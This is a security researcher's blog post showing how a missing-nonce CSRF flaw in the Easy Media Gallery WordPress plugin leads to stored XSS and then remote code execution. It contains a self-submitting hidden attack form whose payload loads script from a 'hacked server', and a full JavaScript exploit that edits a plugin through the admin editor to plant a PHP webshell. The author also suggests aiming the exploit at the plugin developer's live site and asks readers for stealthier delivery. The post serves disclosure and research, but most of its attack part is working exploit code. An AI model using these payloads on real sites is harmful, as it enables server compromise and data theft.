This post is about general security weaknesses in wordpress plugins, that allow malicious attackers to gain code execution access on the web server (which is quite often the user www-data). To outline the problem shortly: Often, wordpress plugins need a administration form to handle settings and options. These options are meant to be exclusively alterable by the admin of the wordpress site. But unfortunately, lots of wordpress plugins suffer from a very dangerous combination of CSRF and stored XSS vulnerabilities, that wrapped up in a social engineering approach, may break the site.
I have done some research in the past about such attacks. You can read about a stored xss in flash album gallery plugin as well as my findings about a similar flaw in the wp members plugin.
First we need to understand how administration menus are created in wordpress, because these forms are the point where data flows into a application. You can learn more about the underlying concept on wordpress codex.
But the crucial point to understand is, that they all consist of forms,
independently of the fact that you can pack your options under a
predefined and already existing top level menu like Tools or
Settings, or that you can create your own top level menu with a call
to
add_menu_page().
In either way, you are going to populate your new menu with one or more
forms. Wordpress tries to indicate the general direction for the best
practices with the settings
API.
The API basically implements security checks (nonces to be specific) for
the forms and avoids a lot of complex debugging of the underlying
options management (no need to tinker with databases).
In particular, the security checks prevent
CSRF attacks
by including a nonce
sent with any request. Such a form with nonces would look like the
following (The example shows the beginning of the general sub-level menu
form from the Settings top-level menu):
<form method="post" action="options.php"> <input type='hidden' name='option_page' value='general' /> <input type="hidden" name="action" value="update" /> <input type="hidden" id="_wpnonce" name="_wpnonce" value="aa07348d33" /><input type="hidden" name="_wp_http_referer" value="/~nikolai/wordpress_pentest/wordpress/wp-admin/options-general.php" /> <table class="form-table"> [...] </table>
So any attacker that now tries to fool a victim into executing a specific action by submitting a form, needs to know the nonces value. But she certainly can't know this nonce, because it was created randomly while generating the form in the first place. Hence without a valid nonce, wordpress denies the processing of any action associated with the form data.
Now there wouldn't be any problem at all, if every form was protected with nonces. But wait a second. After reading yet another codex page about nonces, we can begin asking ourselves questions: Is adding nonces actually enough to secure actions?
No, of course it's not enough. You also need to verify them. It may be obvious for people who know how CSRF attacks works, but I saw quite some plugins where forms were equipped with nonce creation functions like wp_create_nonce(), wp_nonce_field() or wp_nonce_url() but the associated action just wasn't verified for validity with the corresponding functions check_admin_referer(), check_ajax_referer() or wp_verify_nonce().
Some months ago, I made a quick python script that extracts all calls to nonce creation functions and simply checks whether there is a respective call to a nonce verification function. If there's not, there might be a CSRF vulnerability.
__author__ = 'nikolai tschacher' # Unfinished. # Idea: Maybe use a lexer/tokenizer to process PHP function signatures. But it still remains a really tough task # to verify if a nonce with a specific action get's verified or not. One approach is to look for the $action string. # But we're screwed if this string is created dynamically in a expression and is not a simple string literal. # Simple idea: Just *count* all nonce creation functions and all nonce verification functions. If there there a less # of the latter, actions might be unverified and thus vulnerable to CSRF attacks. import os import argparse import re # stores all action strings to nonce creation function like: # - wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) # - wp_nonce_field( $action = -1, $name = "_wpnonce", $referer = true , $echo = true ) # - wp_create_nonce( $action = -1 ) # The appropriate regex. This is quite harsh to do correctly since you essentially need to parse a PHP function call signature # with some plain regexes... nonces_created = [] NONCE_CREATION_FUNCTIONS = re.compile(r'''(wp_nonce_url|wp_nonce_field|wp_create_nonce)s*(s*(s*$actions*=s*)?("|')s*w*s*("|')s*)''') COUNT_NONCE_CF = re.compile(r'') # holds all nonce verification functions as: # - wp_verify_nonce( $nonce, $action = -1 ) # - check_admin_referer( $action = -1, $query_arg = '_wpnonce' ) # - check_ajax_referer( $action = -1, $query_arg = false, $die = true ) nonces_verified = [] def walk_plugin_files(path, callback): for root, dirs, files in os.walk(path): for file in files: if file.endswith('.php'): callback(os.path.join(root, file)) def collect_nonces(file): with open(file, 'r') as fd: try: nonces_created.extend([m.group() for m in NONCE_CREATION_FUNCTIONS.finditer(fd.read())]) except UnicodeDecodeError as err: pass def verify_nonces(file): pass if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('plugin_path', help="the path to a wordpress plugin that should be checked for CSRF", type=str) args = parser.parse_args() # First collect all occurrences of nonces walk_plugin_files(args.plugin_path, collect_nonces) # And then try do check whether nonces are also checked before an action walk_plugin_files(args.plugin_path, verify_nonces) print(nonces_created)
Nowhere and everywhere ;)
Although the security architecture in the wordpress core seems to be
okay (As far as I can judge it - Honestly I didn't really dig deep
enough to find potential flaws), a lot of missing functionality that
the slim wordpress core lacks, can be enhanced by adding plugins.
Furthermore, it's a unfortunate fact, that a lot of plugin authors tend
to be unaware of the many possibilities to blunder in security critical
code (Myself included - Writing about web security and programming
completely flawless is not exclusive apparently).
And that is exactly the root of all evil: Although we can give security
unaware programmers plenty of good concepts and tools (Like the settings
API or this codex
article)
and they will still fail to manufacture solid and found plugin code.
I think we can. For instance, we could force plugin authors to provide nonces for all forms that they create, regardless of the nature of the action itself (I mean, are there cases where nonces would be counterproductive or even annoying?). Additionally, we need to enforce that for every nonce created, there must be a function such as
that verfies that the action stemmed from the intended origin.
I can already hear people cry that there is no way to force people to write secure programs. But in my oppinion, there are general guidelines that at least prevent some common security problems. And hell: Wordpress plugins really suffer from the combined threat of XSS and CSRF!
Right at the start some information about the plugin:
I didn't need to dig deep to find a very critical security vulnerability in the Easy Media Gallery plugin. In the file wp-content/plugins/easy-media-gallery/includes/settings.php on line 14, the following function (reformatted, because the original source code is a pain to read) causes a lot of inconvenience:
function spg_add_admin() { global $emgplugname, $theshort, $theopt; if (is_admin() && ( isset($_GET['page']) == 'emg_settings' ) && ( isset($_GET['post_type']) == 'easymediagallery' )) { if (isset($_REQUEST['action']) && 'save' == $_REQUEST['action']) { $curtosv = get_option('easy_media_opt'); foreach ($theopt as $theval) { $curtosv[$theval['id']] = $_REQUEST[$theval['id']]; update_option('easy_media_opt', $curtosv); } header("Location: edit.php?post_type=easymediagallery&page=emg_settings&saved=true"); die; } else if (isset($_REQUEST['action']) && 'reset' == $_REQUEST['action']) { // RESTORE DEFAULT SETTINGS easymedia_restore_to_default($_REQUEST['action']); // END header("Location: edit.php?post_type=easymediagallery&page=emg_settings&reset=true"); die; } } add_submenu_page( 'edit.php?post_type=easymediagallery', __('Easy Media Gallery Settings', 'easmedia'), __('Settings', 'easmedia'), 'manage_options', 'emg_settings', 'spg_admin' ); } // Lots of other code // . // . // . add_action('admin_menu', 'spg_add_admin');
So what does the above code do (wrong)?
Well first of all, it's a callback function that get's triggered upon visiting the admin menu, because the hook 'admin_menu' happens to fire there. So this function is executed whenever a admin user visits the administration panel. Inside the function, there are checks whether the user is the admin (with is_admin()) and whether some query parameters are set to predefined values. Then one layer further into the if statements, the code verifies whether the parameter 'action' is set to 'save'. If so, the function continues to update the database with user-supplied options for the plugin in a foreach loop. The other if-branch is of no further interest here (although it can also considered to be a CRSF), because it only allows attackers to reset options.
So which options can we update? And why is it dangerous that we may trick a admin user into updating the options with values set to our liking?
To answer the first question, these are the keys to the plugin options that we can update:
easymedia_columns easymedia_alignstyle easymedia_img_size_limit easymedia_vid_size easymedia_disen_autoplv easymedia_disen_autopl easymedia_disen_audio_loop easymedia_audio_vol easymedia_box_style easymedia_cur_style easymedia_mag_icon easymedia_frm_size easymedia_frm_col easymedia_ttl_col easymedia_brdr_rds easymedia_thumb_col easymedia_hover_opcty easymedia_style_pattern <-- This looks like a good injection point --| easymedia_disen_bor easymedia_disen_hovstyle easymedia_disen_plug easymedia_disen_rclick easymedia_disen_databk easymedia_disen_admnotify easymedia_disen_dasnews easymedia_disen_ajax easymedia_ajax_con_id easymedia_plugin_core
And now let's discuss the second question: It is common for developers to output data originating from the database without sanitizing it. The belief is probably something like Why should I consider the data in my own database to be dangerous?. Because you have to decide at least at some point when you sanitize your data. The best way to do so is just before the critical action happens. Escape html attributes before you print data to the screen. Prevent SQL injections right before crafting the query. This strategy is called outbound input handling. You can read more about it on excess-xss.com.
But the authors of ghozy lab didn't apply neither inbound nor outbound input handling which lead to potentially malicious code in the database that is eventually printed to the administration screen by causing a stored XSS (The output and admin menu generation code is also in wp-content/plugins/easy-media-gallery/includes/emg-settings.php between line 275 and 520.
Again in short and for conclusion: Because there is no way to guarantee that the action originated from a intentional form submittal by the administrator (Because there are no security checks with anti Cross-Site-Request-Forgery barriers such as check_admin_referer() or check_ajax_referer()), any attacker can set up a page that incorporates the following form hidden into the site. Note that the form submits itself in a stealth way, such that a visitor isnt' able to observer anything suspicious.
<!DOCTYPE html> <html> <head> <title>XSS POC</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width"> </head> <body> <div style="display:none;"> <iframe id="xss-test-iframe" name="xss-test-iframe"></iframe> <form id="xss-test" action="http://localhost/~nikolai/wordpress_pentest/wordpress/wp-admin/index.php?page=settings&post_type=easymediagallery" method="POST"> <input type="hidden" name="action" value="save" /> <input type="hidden" name="easymedia_style_pattern" value='pattern-01.png" name="easymedia_style_pattern" id="easymedia_style_pattern" /><script src=http://somehackedserver.com/plugin-loader.js>//Nothin here</script>' /> </form> <script type="text/javascript"> document.getElementById('xss-test').submit(); </script> </div> </body> </html>
Of course the appropriate values have to be set to match the victims server credentials. So if we wanted to target the plugin developer, we would just use the URL in the POST form
http://ghozylab.com/wp-admin/index.php?page=settings&post_type=easymediagallery
and we would host the javascript payload on a hacked server. But wait, the above POC has the payload
pattern-01.png" name="easymedia_style_pattern" id="easymedia_style_pattern" /><script src=http://somehackedserver.com/plugin-loader.js>//Nothin here</script>
Now that we can execute arbitrary javascript code in the context of the admin, what can we possibly do? Well, we can gain remote code execution. That's the worst outcome of any possible web hack attack, because it allows us to gain a foothold on the server. Possible scenarios from there: Steal the databases (money), try to gain root privileges on the server in order to completely own it. But this is usually kinda hard.
Anyways, the javascript that is loaded by the stored XSS modifies the standard plugin hello.php (hello dolly plugin, it's installed by default) and adds a PHP webshell to it.
You want to see the code how I managed to to implement it?
It's rather straightforward and there are probably more elegant ways, such as using jQuery. Keep in mind that the URL is set to my local pentest server, except ALERT_URL, this is just made up. In the real world, you'd substitute the urls to a hacked server that you own and from which you start and execute your attacks.
/* * Copyright: Nikolai Tschacher. * Site: incolumitas.com * Easy as pie. * What: Use this code when you found a stored XSS in a wordpress plugin to gain RCE. * How: A wordpress admin needs to run this code in his browser with a valid session id. * Idea: Mofify the flash-album-gallery plugin via wordpress admin panel. * * Note: This is actually nothing new. It's just one of many ways to gain RCE * if you have a stored XSS in a wordpress session. */ // Without php tags // HTML meta chars are in character entity references format. var EXPLOIT_CODE = "\nif (isset($_GET['cmd'])&& !empty($_GET['cmd'])){ echo '<pre>';system($_GET['cmd']);echo '</pre>'; }"; // TARGET SETTINGS. Set stuff here. var TARGET_WP_PATH = "http://localhost/wordpress"; var PLUGIN_EDITOR_URL = TARGET_WP_PATH + "/wp-admin/plugin-editor.php"; var PLUGIN_EDIT_URL = PLUGIN_EDITOR_URL + "?file=flash-album-gallery/flag.php"; function getXMLHttpRequestObject() { var ref = null; if (window.XMLHttpRequest) { // For recent browsers. ref = new XMLHttpRequest(); } else if (window.ActiveXObject) { // Older IE 6,7,8 ref = new ActiveXObject("MSXML2.XMLHTTP.3.0"); } return ref; } /* Extract the nonce */ function exploit() { var req = null; req = getXMLHttpRequestObject(); req.onreadystatechange = function() { if (req.readyState == 4 && req.status == 200) { var res = /name="_wpnonce"\svalue=\"[a-z0-9]{10}\"/.exec(req.responseText); if (res.length == 1) { nonce = /[a-z0-9]{10}/.exec(res[0]); } else { // The sites not available. Maybe the plugin is not installed?! nonce = null; } modify_plugin(req.responseText, nonce); } } req.open("GET", PLUGIN_EDIT_URL, true); req.send(); } /* Modify the plugin with malicous code with plugin editor */ function modify_plugin(responseText, nonce) { // Get the plugin code // On each wordpress plugin edit site, there's just one textarea tag. // The plugin code itself lies between the textarea tags. // These regexes aren't really good. var startIndex = responseText.match(/<textarea.*?name="newcontent".*?>/); var stopIndex = responseText.match(/<\/textarea>/); pluginCode = responseText.substring(startIndex.index+startIndex[0].length, stopIndex.index); // add our exploit code at the beginning of the plugin after the "// Stop direct call" comment. if (/((\/){2}\sStop\sdirect\scall)/.test(pluginCode)) { pluginCode = pluginCode.replace(/((\/){2}\sStop\sdirect\scall)/, "$1" + EXPLOIT_CODE); } else { // Let's go for the first line after the obligatory wp plugin comment and lets use the closing comment // characters */ as needle as a fallback. pluginCode = pluginCode.replace(/^(\*\/)/m, "$1" + "\n" + EXPLOIT_CODE); } // We need to consider that the plugin code in this state is making use of Character entity references // for all html meta characters like " ' < > & \ to avoid them of being interepreted as markup. // We need to replace them with their "real" characters, before we send the plugin as post data. pluginCode = removeCharEntityReferences(pluginCode); // Ready to build our POST request preq = getXMLHttpRequestObject(); preq.onload = function () { if (preq.readyState == 4 && preq.status == 200) { var successPattern = /File\sedited\ssuccessfully./; if (successPattern.test(preq.responseText)) alert("Done."); // Notify the attacker that the exploit has been spawned. else alert("Nope."); } }; preq.open("POST", PLUGIN_EDITOR_URL, true); preq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); pd = { _wpnonce: nonce, _wp_http_referer: PLUGIN_EDIT_URL + "&a=te&scrollto=0", a: "", scrollto: "192", newcontent: encodeURIComponent(pluginCode), action: "update", file: "flash-album-gallery/flag.php", plugin: "flash-album-gallery/flag.php", submit: "Update+File" }; // Build the post data. postdata = ""; for (var key in pd) { postdata += (key + "=" + pd[key] + "&"); } postdata = postdata.substr(0, postdata.length-1); // rstrip the last & preq.send(postdata); } /* * Removes the HTML char entity references for the HTML meta characters. */ function removeCharEntityReferences(data) { if ((typeof data) !== "string") { throw new TypeError("data needs to be a string"); return null; } data = data.replace(/"/g, "\""); data = data.replace(/'/g, "'"); data = data.replace(/</g, "<"); data = data.replace(/>/g, ">"); data = data.replace(/&/g, "&"); return data; } exploit();
I'd say such security holes are very dangerous.
Of course you need a minimal social engineering effort in order to make the victim visit your attacking site that incorporates the auto submittable form which in turn triggers the XSS. Additionaly, you need to ensure that the victim possesses valid admin cookies of his wordpress site. But there are ways to increase the likelihood that he has a valid admin session when you attack him (Or better: When he visits the attacking site).
For example here are some ways to deliver the attack:
The only drawback I currently experienced in my tests, is that the attacking form will make the victim visit his own admin menu. There is no way to load the page hidden and execute the javascript without changing the current screen of the browser to the admin form of the victim, because in most cases wordpress (or sometimes the webserver) sends automatically the header
X-Frame-Options SAMEORIGIN;
which cripples all attempts to load the dom in a hidden iframe. Thus, I cannot see a proper way to attack a victim without making him to notice that something odd is going on. The plugin author would begin to ask himself: Why the hell get I redirected to my own administration menu of my blog when I just clicked on the link given by this clueless customer that so desperately needs help with his little issue? Is there something fishy? Am I being tricked?
But usually, then it's to late and I already have shell access to the server.
So there needs to be done further research. In particular: do you have a idea to execute the attack more stealthy, such that the POST request that causes the XSS doesn't inevitably send the victim to the sink source of the tainted data?
Please send me a comment if you have a idea!
Cheers